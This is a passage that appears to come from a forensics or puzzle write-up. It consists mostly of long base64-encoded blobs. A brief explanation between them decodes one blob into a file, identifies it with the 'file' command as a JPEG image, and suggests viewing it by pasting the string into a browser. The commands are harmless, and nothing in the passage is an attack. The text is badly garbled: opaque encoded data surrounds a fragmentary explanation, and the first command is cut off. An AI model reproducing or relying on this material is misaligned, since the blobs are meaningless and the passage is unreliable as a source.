JdtDSS3knxsYrtI/kbcrizcteUbLUni7lU2Nrl71JklgXtXyU5yCWlvdU6q7Kxtb26ht4Uls5fL3SVrGadJeWdLi39etV1b3lNW60uF1fyNfjc9PF3M2y+8pvp7NJ7X1yz7l8mUzHRzk8DwSa+6W/JTfPBHcQ/WNJPBW3kqb052MOpGxcdat3KWQwq2JViglVc0LoIWJy8sFdRtFrWrEqtS8qalegFpWLisT0gqFc9KlYuKxbVStVI1F1eTGzxt7JZSUaJzU/VLsS1X3jNx21LqvS8XxBS6Wis+rG9TJVXkrHkkU7xNRlbU6vEZyOflFcsefLB6sc3WXUsb8nUuJeI693aYa6Muytsobp69xy1p09thsmvxKXYGordviaVb22i/3lP8AEXFyMLeEqmmWxyXD9nlIdtOnKcdK11gbjR9mi5nRtmap4sYd5eJkY6pPEpnTpFdrkYbyOmrKZa8ziZ4p8XNsm3SN/i8pSdabMZXbb8gVbUfuUahVJOw2DcgJ2GxG1AE0q2K9i0VAXCS1sV7AVAp2J2AroSrVLZOwF3epX1SzzAa2vrLQrWUxhsDbL6pUstTD3K9wjNWeq+8Xkun+I1u5cVwjapfyL7xlplnNEspWspU06NMlRvIvLfoc11itLqql2mnTreRsXVeje8cwt0ZCXlV94vI06MGmTI1UF5RNPNnzdWj0djR3GUaLmuxp/WJJS3cI7rsynSYxi51tUzlVjquxYnyVZTUL29pfR0OkxjNyqpOcsncxnJBVfJzB6se3wsZSK7r5hmVlvEzL5bFlYiGadChp5F90y3tmxK/xFTxdVfIwUute4r9a2LpGVBZwO3cxv8TjYWmou/a1TQ2tvSeSh0VnZvFy1djnllpuTbrH4UsWhp3KaK8w0dvcaqq6m0s7qRFortsptFt4biP63I53KtzHTlks0IeKjdpn3kFbeTZVbUxtqsxldMCVaxNRV8THa8rFzbYy52b2qaG8Z159vaakKrnzNYpPiMiLiGNmoc/K23cymN2LJsa4s7dk2ZjZSxLloTSW88LdrF9Yo5WM6OTZtkbHpmFLLbT89XLL4ijNXVihMNMrF6FmWzq/gxaaykNl6nPEte0t9eaLtdC7Ti13qcilSQSJ4sZTXtGbxKkeOUDPxt5JByWVFZTq7e1sb2PuQ4ht08XMuDJXVvy1bxJbVjprrg20l+ciNLdcOQJzV0NhZcV0btl7ZC9Pfx3q9xN1pokwNrqVJiY08FKL157dtk7lMX7oXRdXiJ2bbWK1097tK/qGl+6VG8lHy5C3vE0vJuH7O1Q3jsrGjfMxr3Kxitnq+1Rprk37+P1illr7GNAueqrdxsoM3G69w0bbJJZl7te0vJLtz2MRb+N/FiNtmo2xFlbL8I11MFZa9QyVuKBV5frF2Kd4JOx2LG2w1qoTTcwZn8KTr2saHIpGtxXZdkcvKUXEVZY6hlrWsqQLV0baNjyri9avltVPVUd0V1bxPNOIYqNxJGoaVWbJiMbtr869CLe1yeS+dXx+Jii4ZZclCjfRp5HodlZRpa0aDuglir/xA5iKzvYIaNusi/8AlsRcdO4XvXV/iNRBeX1lxRWwR2aJm11Oj4hxtcdNr8VAWNWjaF3c1lncffFUdjNVisLpc31UtbACdtWKt9ihiAJZSVYpKgqGlrrUyrBpn+gdkcxGXtLtq7p4sUZlxxLkYG6GVsfW4PrLzMRVws81J4E6DN7uvI3mO4gpZyUS8soLmJvLqGXlE4byi7QQrbP9VeRppqJ1tljToSqxNrkbuyk2guGNctglhM6pK0ilfMjDs8bxzNE1Fue47PHcQ2ORjprMit9Zjxdi5E7xNsjasCPfolRuTKyt+qeTelDCZBbyt5as2rFvF8V31hyVpWZTrLfibHZuHoX3aWXRZt88y3l2rVWVW2CXTnuOS9HOOyLVls7hG2OWvfRbdRc9EN82ODztLpdtmMhLhHYy8lwbl8dNXW0dozS3EE9q2sqNGxeaXBVfvTqdhaV2Ze5TYYG1tr281vGZUNxf8PQLz9Vm2LusWacvE9V5nTcNcQfJd0nVXqWzeSnO3UElu2rrqInp0zXaPSslYR27UvrNtrZ+5jWXVql1HupjcNcQUT7wvm+9nMu9V7C42TugbxY1Mkc9cW7wSa+6Y6qjMdEypeKaS9sHTmyGtsWK0t42K+kimia9mgbVtiPlRyJp0KJRSvaH4jnflZ2LkF+m1d2JyOG283jKOrGponyMfUrrUhbzb3izJPrb3roxS0qGl6tfiK1fb3jXI+ttWnQj1jU1bP8AWLfVYbODcetqFvPrGl6tSnaT3TPNfrbxr/X3guSROTdXuU0bJI/kxaazfbzJbtqYad/jeN/V49JW2Mi446SWOqIh5/BFGvmxmxT2yN3HKzbtLIyLzMzPcVZXYrsOILqKamztqWJbe0nXdZS0lrT3RxV6DZ8QWjw03fuIfiW1gk+mVlOA9Vf4mLi4vfu2YlxWV3FxxXayx6rq36wxeZgW491VY5KLA1f3jLXh6f3ZmM8Tb2LFrDeR0aCZP8Rm3nRs4dpdtjyjFpk8dJTS4c635XnurPpXXcw4m28iljn7kYloq6nNxO8Tdj6m2t8i6rTfZjNxa2zVgJ0K0uIX8SddjK7W9QXVQjpAW9iSrpDQAAqk6kAkjUASCABUVFskC4SpaJ2Av8iko3J3Ar9pO1SnYq5gTuxUrlBIF3cuK9TG9pVtUDJV6gx1aoA4KCwhibRtjJTE9Vqrr2m9XF0ebY30GJhltaMnkdObHB5ne4N4Ju1e1jDfDSe4elZHFv6vXt2OTa8pBJVHTXU1M6XCOUlx08XPZC9b2s/xMdYz2sqozKam6nRGrovabmTncWK/UWPZjGlun8WUqnvaN7upgStVm7mOkYvS68uzamVZ2/VYwF+qxk2tw8TbbFqSuuxuNdeTHQRRaqcZZcRyRNRWOms+IIJeWx5s5du+FjYM1ULtllKxSdJ1Mf1yGVatsay4uqJzYzI3t3KwR3Edd2Odv7N7CTXbyMTG8QpbrVZ22M+6ykd5DVtNvZ2l4pvTUTpt3bGoukqy17ixeX91BJVdW1MB8lIvkrFkS1e0oq9xjywRv4lDXtX57L2lvq017TbKhrfpN21K4pZEbyYvQJ1Wp3GyTHJKpm00xYL94m8tjaQZamuzGJLhKovYxrJ7K5g5+0yrq0yMEsfcWpVtnOZSWirq3axnwSoy+Y0u12WK2RttSzvbfCqkTpRlrq5rZYtPeLIlbLeFvFzFnfXxY1bStsFuKqXSbZLvIvcvkXYs3c2vJG7lMNrrbuZSltGXb4hpdugt8t1Y/Ii4tY7hd18jnF3TxNha5TRaI5dQ2s3FrWLyQwWSjN2nTNcQzrrqrGsurPuqyNqpNG2n6T/EU6yGWxjMzr7xYbU6OT15Iihp5ijqyN2sOjbLiykkRlRcQSbU9hptXZi6kEjeJnUaldFBnKy9uxlJmX17u45u3tZNvEzYrebxMWRuNw+er7C9BxKitRXNatlt5EthqSrXUjTp4Mzav76mal5A/i6nBNw/dL3ROwS1ytn3MzA07mW3jl5669x5lxLYVg4ihbU6iyvL5PIx89ayZGOOXT5xK0IunDz81uLpuXjzOn4F4hpLbyY66bX3k2I4SbFpnrpMsu0Dczr5+DeE71fWbC96DAcvjbCGfjKe87dYtmN1eWVzmYbzJ3LdOBq/NKxflwdrg7WslrMty/OjOxxXE3G91cXEVrbK0FqtaLoCtBdc7fIJ9p0DrTyU1vEESMsdyvvGfat18Wj/AKCsJVi4pjRS0ZqqZ0SbBFtlKKmb0DHeKoVZKidQEUs5VbvTWpRqUxdvMDKZi1tRvd7iWIVqGlVKxWrlpijYyjJ22JVSwrFauBfLqNr3KY6uV7Ght7PL3Vm20UrHUY7j+SDkl0uynA7jq/oA9fi4lxmSWm2vd8R5t6S8TAzR3NtEupqVd0bZHZTIly08sPQufnF+sIPP4pelJVG7S96/PFJTWVi7lrNPWqtF2qYCxP7x3xrjk30F/BeQ1iuoUk+sxjLw/wCsSVa2b9VTBXmp23AtrW9vqqx0tjnHG3FhdWvNZYnOo4fyMeSt/ky6bubtRmPScjwuk66tsxz9rwRaxZKly3zWldjG466cfcJNjrqsTbdtS8ssdxH3eR3fGXD9s+LjntW2dDzhoJIm7l1LKzYonxsL9zIay4xMLeKm9iuKt2sRPF7yqb6Yc98idvaW2wdWOiXmo2qxOLPJzD8PSL3KULiZ1Oo7/i7TY2r2qr86isxOKzJxC425X3WK/k65+BjvGurVG+iUrTM2Kcl9UQmq3t5/8nXfwMU/J118DHp0T2113KiqZCYuCXy0J2vTyxMXdfAXvku6+E9TXAw+7qVthoYo9jJp5UuEvm91i6nD923kdrdSyQSaqjal6zv4F+lUm104leGbpjKi4VfXvU9Dguse/uqZ6RWMq9rKNnGPN4OGo08mM5MJAh191g4ZW2jlKUxFUG1052LA7r2oZsXD1dfA6e3iS38VMlZaMZ5Lpy6YN1LzYuZPFTo2eilO+3uk5LpzDWs6+6VaTL5KdJpRiWgp8I5mnL9Wqt4sZEV46/jY3bWELrXZTnMotLfmqKxqXbN6bJb2jeTMZkV7InvbKchb3snvGyiuvrC4bN11kV6j+XaZStt4srHLRXtG8lM6C4fyiYxcdLLW+UbGAmR92VdS8s9H8WM6bZHsHItlSkVVyHIq1I2AjkOROxIFPIcivUAUcinUuAC3qNS5qNQLZUVajUCCdqk6jUgqVipXLJIGQrAtcwAXp67K6mXjr2kE2my6seX2uZutdW2U21neyS8tpTdxZ5PSZ7iDXubyOLzlnB1uqqmzskrdW+23iZUuG9Yhqre9QnppyEC2XjsVSpYp2sU3GI9QmcxW6Lc9nNYs1g3lrayrVlY1EsGjar3GwutF8WNcyuvPuPTi45rWtdiveg1XXuYo17vqm9OK8rFxJ5E7kLCrR+aoxdXeJdRZCZVtIMvO3JVNtFLW6Wiuc9asiyU2N7ZvRV227Thljp6MbtsVxNJV2VjY41PU2oj9xrIstSJdS58tx9Q5brppuMjYQOu6ovccVkVjt2q2nadfZ5KO4kojMvcbe/4ax95a9WJVZjW2a8nVo3LyLG3apvMvw16nJsidpopcdcqtdEY17Y3WUiUTuVjJW4eDuU1cFleu1FZTaxYi7bkS4tTJU2SdfeMOfKbMX7rGyWvJpfeLC2VH5k0u2ullq5j7TL4sZz29FapjvFquppFn1yZe1mLbXkjFx0pr3GOyfCIzarV6fEXUVP7xY6XaUOsnsZSo2OqFzWHbU1G8nUpqGndG8iaalbfoKYE7R7GO1xIy1bYtbVfvHEtZqXFYPFu0yVveqxp3avxdpbV3VqMrF0y3ssSTr29rGtniki+JjOs7qP2LKdLb462uo6asupK1HCNLX4SOrVTv5eDYbhdojUS8MvBJVXQzyjUjnIpas3ibG3evvIZy4bT8RlRWVV7dTNrchbtH09tDYQJC60bXUtxWdF8qGX6vRVoctukitreMlbdF7ipYpFUqifbtYrQq6ktydSmVu7VSxvVW2UgqaCie6Eamrq66+wdd9u4uvydaKZVw0FhZNxQ6XX0DczP4gyPD2Jt/VrNtm5/CWOILKsF4jqvaxzOSwMzZC3lRdonejG0dhhMtC81oyK0kvLV0kXlTkdFxN6O8dxDD65jNYrnyZTnMvb0sMbBPbIqyxctmOkweXkvcbDf2r/OrSnVQJXn3EOLmx2PpbXVNXQs8Pbz414lXbWh0XpByNMkvVZdWOV4ZvXgV1UrDElaSC6dTNs8jq2rG7sExl1dV9eXuap1VvwVgL+Pa1mXcDkorrZS9tRza3/Bt1Zc2g7lNC8U9rJq6sRpfaIsNEVpcfEXNqSk2yxuRQifhMxkoWVSqyGtiyy1LZlOpb0CLRBdZCjkaFJcKCoCouKxaKgLhKqW+ZXsBOxanbYuFDKQabIp7ymp67q31TobqLZaqc9cQVikOkrFiremux6X6LLiyiuqddzy1WMuwupLW4o0Tspq5MafVTQR3HdEyspYnxtHjqrIrKeNYTjzJ43l39RT0fDekSxyK0W5VY5DG24z58WjW7xKnacnlOFNlqyop6Pbva3ke8UqMW57OntXU1Kjw684fkg56qYSROraSr2ns15iY5VqrIcpkuHvw6FmTNxcFpTqaMJbeqrsqmyusNMjVLCtNF2uux2lcri1Xt+HUhlobZ4o5VMR7PQ3yjGmKNPqlXiVG+hVFPp7plJeP7rGCQZshysbuLLTJ75m2+bo3mpy6vqXVlM3CVqZ1163ljP5opblsLG6+iVVOaVy4lxNF4uYuGm5nG3lwMmvzRZt7C7ik8iIMzMnkxsIMzC30hi41uXGtnZrIi97GVv8AWNfFkYX7dy8ro3ixzsrc0ytlBi93usVKzqZ00v8AcNyzu+xLSxp3Ow0m2WrdpDzxxL3uYy3UL+Lmvvcdc3nPpOWYo2S5a1ZtdzI6VreL3anDz4m7t2EV/eWvvMa1pNx015w1G3dA+ppZ8XdWreLMpmWfE1fYrm5iykNwpdpXKpPVPJGM63vKP7puZcdbXRZiwkaN2sS2WE2hEkde1diVWeLuX5s2lvEkHaX3SF11ZDDo10WSaJqLL3GelxHP4sWHxyMtdFNbPBPA3lqTQ33j5DbY1NrfzJ2y7SKbGK4hl8W1Yml2ulasUqlSCaFzcjmUEgXVagLXiVcwLo5FrmTuBcJKNivYANSdiQKNCdS4ALegLoA4+64c2XaI08the2clWVGZT0lGTy12UonSN1rspuZaZscVjeIJ7VtHVlOms+JUfkrMa69xKTtTVTVS47Va6N3KOsldFlp4Lq3q6suxw9xb1eaujldxLPBzXZjWPfvBIbmOnO1kT2cirsxgurqplrl9l1dS1cXCNGdY5W7YutRvXbUpVtmKkTY6OS4nJOepGztyVShu3tLiPr3FFcTayat2mwtZ9Vqqv2mAvdzZlKU5q2vumNNSugtehcNqzlqWwk63zXiaiBnWSuv5TcWuUmTnFps3MTGNc8kxW88UyNvqdjZZd7OOkTV2OdSLeTqyrr8RcbJRq1e3xFwhzrpWzNLiPwXZTVXuWoq1ZVU0LX88q9VV1Uxp7h5WqxOOl5sye4upZt4jb2b3bw0aXyNRZzyIvcbywykevSlZdjNax1WJkpZ3taqyHNNeV21btOyv7hH59q6nJZe1VZKPEY01vTFefuKGl3XVvIx3Z1WjsxD/AInKm1b+Ouxj6vF7xkqiv4lEqVXlsEW1bbuKt9lGqdOpiutSi6/JfFihuW1Ch1qq9rFlmqBeZtuepbLXVrsXF7jSLft2rqTrqXPFdQjGVQrbcmN1jryS3amj9pq/mzMgVPZrUxk1HoWJyyMtF21Y6JehcQ6yorHl9rzVtlc6bG5l4uSS+JyrrG0usNVebxLspr2ioi1Vk7jqLK4juI9om2Ld5ZR3Xu6uTSuXXkylXu9plXmOkt/LxMNWI6Sq2au2v6C2S3PYpZdueoVUyIWlgosmy+JK89i/sBbaKjEdIu7VYMpiq1WXtfWrOvb3KY/DktrKvqt57vibteWtVZTmcpZvYXnrMS/NNXuERmZeKk8N5Evcq89TmuAXylrkpmRG9UOqsszA8OjIsisXbrMwWtn0oESKPkbRyPG91GzPqcthp+leU28WKuIL/wBfyFdfFTXe1O74SsOsldIryjN3Kb6zaOXk9hcssvwfgPPPlGT2bsZ9rltJKNz1EXb1iyzmQs11uoupGZkqYrOR+KrKcxw9xpDFygvollgOgurXD5FfWcTc9KX4A1tostwrNb83g7lOd2mtZNXVlO2TL3uNbpXSbRmVLFiM3DtqscpEcIk9GYur3SGzyXCs0HN7buU5x3ns5tZVYDZslCwykRXlJVLu1GKysAvMhSEWeRGpdI1At6kFzUagW1KyORSaFxSot0LikGJKprLyDdTcOpjulDTN7cs8WrELsrGzvYNW7VMLSpU02dnzZTZxJVmpqa7HeOp0Nha0lanaUbLF3mUsGo1tcOp2mN46ni5LfozFrB4OlwtF1OpTg+2/nVUCu3zePyUfzT9xaurfZdlL6cIWyd0TasRLi7618JdlA5i8skfnsppLrHU+E6+65+MqasaqeKjGpWbHGXFhRW7e0wHV4vI664taNzNNcWtV5nTbNjTMkcqmM9vX3TYS25hP1om7W2U3MnOxj61UFTXFHbVgy0NyudUa0IDtqU8yoq6tVK1uC1yKdAMtZaE7mH+AuK+oVlrO6+LGRFfzp7xr1lKt/rGeErUzsb6DNyL50M+LLwynJbMSr6sYuDUzdutxR17W1NXe2F1L3JMxoVvJE8WMuDNzoY4NzNS0F9at7xmW+curftkZi+mbR+11L6tjrr4TNljW4uwZuOdtZVMt7e0ul8FMWKwtV7k1MtV0XVSNMNsHDt2mVBi0iJ69VLiz7GauoykZIu0u7mKsqfESr091jLTJ3qXUlMRpdVNXcZxLdvEo6Lq1Lnzbr3qrHNQcRxy8tlNitxHdR9ko0wyZYo0baJ1UoRYJW131kNHe2d8rbRysylq3yU1u2s+w0bdQjzwNqzbR+6ZSvupo2uJp4UaJ9vqlmLJTwSdxLGo6PSqla8jHssil0urN3GQ3Iw0MRyK1WmpGtQKeQK9KjQCgnYMg1Aq2KuZQAK+ZUrFklWAyAUKwA1EGSo3vdpneupqcMmZ15fe/+YXW4hqy0X1b/MHQ62W4oa2WXWTb3WNN90f/AKT/ADC2+eoy6+qf5gGVf2uy7Kpzd5B+HtN790KdPRrL/NNZcXSTt9Dr/eOuOc/Lnlhb6aXXXnsTtRlqvvMZT29GYer/AFjr9mLj9eSyqax9xQ0uvkZPQrrrsUta7ctmL9uJ9OTG6+/aSrVXtYymt0YdBfeH24n05KVd/HYuqtVYaUKlXUn24rPHkyookbkZtqvSuN1U1au6+LGSl66rrqY+zFrhk3L5ZEjozxbSGufI0nbtTUxGuKO1dk/eJW6RW26P7xr7cUviyZMV1V2pF7pelg2h2QwPWk2q3S7v1iuK90/mtv7xftxZ+rJkrPVm6TrrqVKqI1Wdu0xnv0f/AHf94ty3iv4xar+sZvkxanjyjoXWl5j6MreJq7rnLb1X3lLVrlqW8dUa36i/tCJ8kkvjb6/3ifZicMmsZHRaq3cEZvYpkPPRuesWpYXy7ic8WuGTKbki6L3NyLarVVrt3KR1fhQqSfXnsmxnnF4ZLPQ95SPV9e5l7S71fqlKvXqbF5w4VhypTbVSxKtVXbQ2GtOtV9R+VW7lHOHCtXrt7o11NkkUac+3uGmy6t3F+yHCsF4tY0b4iOlX2amY0FGjom3iVJFoPshwrDW3qxkJayL4l1VqrbbF9ZdfdM3ONTGrcXrKMbOCWZeTalhL1F/3f94vLlEX/dv8wxa3G4sMjPbtsrHTWGcjumosvaxwa5ei/wC7f5g+WdW2W3/zCbV6kuk667bKa+8xEL82g7XOPs+MJrX/AHbZf2hm/d5Tbb5M7v2//sXcO1y4S5gbVk1KEbYty8cxzrq+J/z/AP2NZLxCjtVlstf/AKxOmpW7XkVL5GgXiCq/7t/mErxHVW29W/zDK7jfdxHtNF90df6N/mD7o6/0b/MBt0PulDxRzwvE6+VDQrxD/wCk/wAwrXiX4rT/ADAu453LcNZOyme5sdmi+E5K9yN8zVinVoz077pq/wBE/wAw1t/PY366vjlVvi6hU3HmSuitszdxZln28Tp7zheO4mq8Vx0l+Hp8zHbhD/13+UXcc65nZ2HVqrHTfch/67/KH3If+u/yi7idtFBezRdysbyw4hkTls2rE/ch/wCu/wAoq+5Bv6d/lE6Xt19hxbR4aJeRLcxmyiisbxerYzdJvgOFg4cmgbtyH+UbS3tZrfxue79UK6yDLXdk2lyvUjMmdcXmVouqrIxo7XKSRLpcqs8fw/gLU9xG8lHgh6Wtfi5kaV5LhWS3be27lNEzz28msqMdRa8QTwLq6dRf1ize5G2vVrvYqrfF1Ay1EV4kq67F7WjGJLYIzbRV6ZcigeL+d2AvNEW2XUvbVBdiwoZS5oNBtFrUhlLvT+sOl9YuzS0VE9L6xVoNxNLDL3FLIX2i+sOkNw1Wtlg2kMd7LU3DW+zbbEtBsvkORppol0Y3WOuulJRjHbHbNt1f3SPk5vdm/dNTKJqvUeHuKLSBaLKyncWvEOOuuSrcKfPC2ci/7x+6XlS5XxuWLyhqvpaKWF12WVG/vFTdx87WuSyNm2yXbnT430h5Gw5dWLr/AN7kTlE1XqGUtYXj7lOMv7fpNVkMS49KDXC6/I//AP0/+xpLjjCtw38B/wA0TKLqsiefVtWMWXlKvaxr5czSX/dv8wxfX322Vf3jczxZuNbCW37TVyxatqxebI1b3P3i091uvga54pcMmPa421ur7R21Yzb/AIQvrNerAvUjMDV1ko6vqy1Oss+NHt7WkEtj1frdbkbnlxjlfHk4SWCaLtniaMtry907S94gsr9arJiV/W63/scxdWUM8m0C9L/ma+7D9p9WTA2YK5k/Jz+9cfukfJ3/AJv7o+7D9p9WX6WCDKWwr+d/dHqH/m/uj7sP2fTn+mFtVSvcyvUP/N/dHyd/5v7o+7D9r9OTHVyeZe+Tq/nv3SfUG/Pfuj7sP2fVks+wlWL3qH/m/uj1Gv5390fd4/2n1ZqOZUs9V8WLnqbfnf3Sn1L/AM390zfJ4/21PHnF2LKTp7xsIM9Ivkav1P649T+uYueDfHN08WZglXuUyGnSde1jk/V2+MuRLJF4ymeWDUmTc3Frdt3RTGEst9A3vMVwZGaL6xkfLO3lb/vE5YrrJdtb+6b6VDN6UNx5qa35Xp/Rf8wNmfht/wB4nLFrVZE+DhfwYuW+LeBvMw1zLr/M/vFxc86/7v8A5g5Ymq30T1RdWbYuNb20vkinO/L3/pv8wpbOTN4pr/eHKJxrqEt0iajKJbW2n8l7jnIuI5E84dv7wl4hd/C36f8A9TmS5RZK6GDG1ibZHNpavHcNo3a6nG2/FE0HlD1P7xRLxDI81JUh6bftCbhqu9uLeaDl29pa2NFF6Q9bekUuL6mtPLr/APsYc/GVJW2XHa//AFv/AGJuLquoVnLm1Tkl4w1/3H/OJ+7T/wBD/mmVdZ5DkcmvGX/of84n7s//AJf/AJv/ALFHWajU5P7s/wD5f/m/+xP3a/8Ay/8Azv8A2HSduqByn3Z//L/83/2H3Z//AC//ADf/AGHS9utByX3Z/wDy/wDzf/YE6HKgAigAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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| base64 -d > unknown_filefile unknown_file```
Output:
```unknown_file: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1080x2094, components 3```
So, the file was a JPEG file. If you are using a VPS server without GUI as I'm doing, you can download the image from there or view directly the image using the Base64 encoded string from the browser (just copy and paste it in the URL bar):
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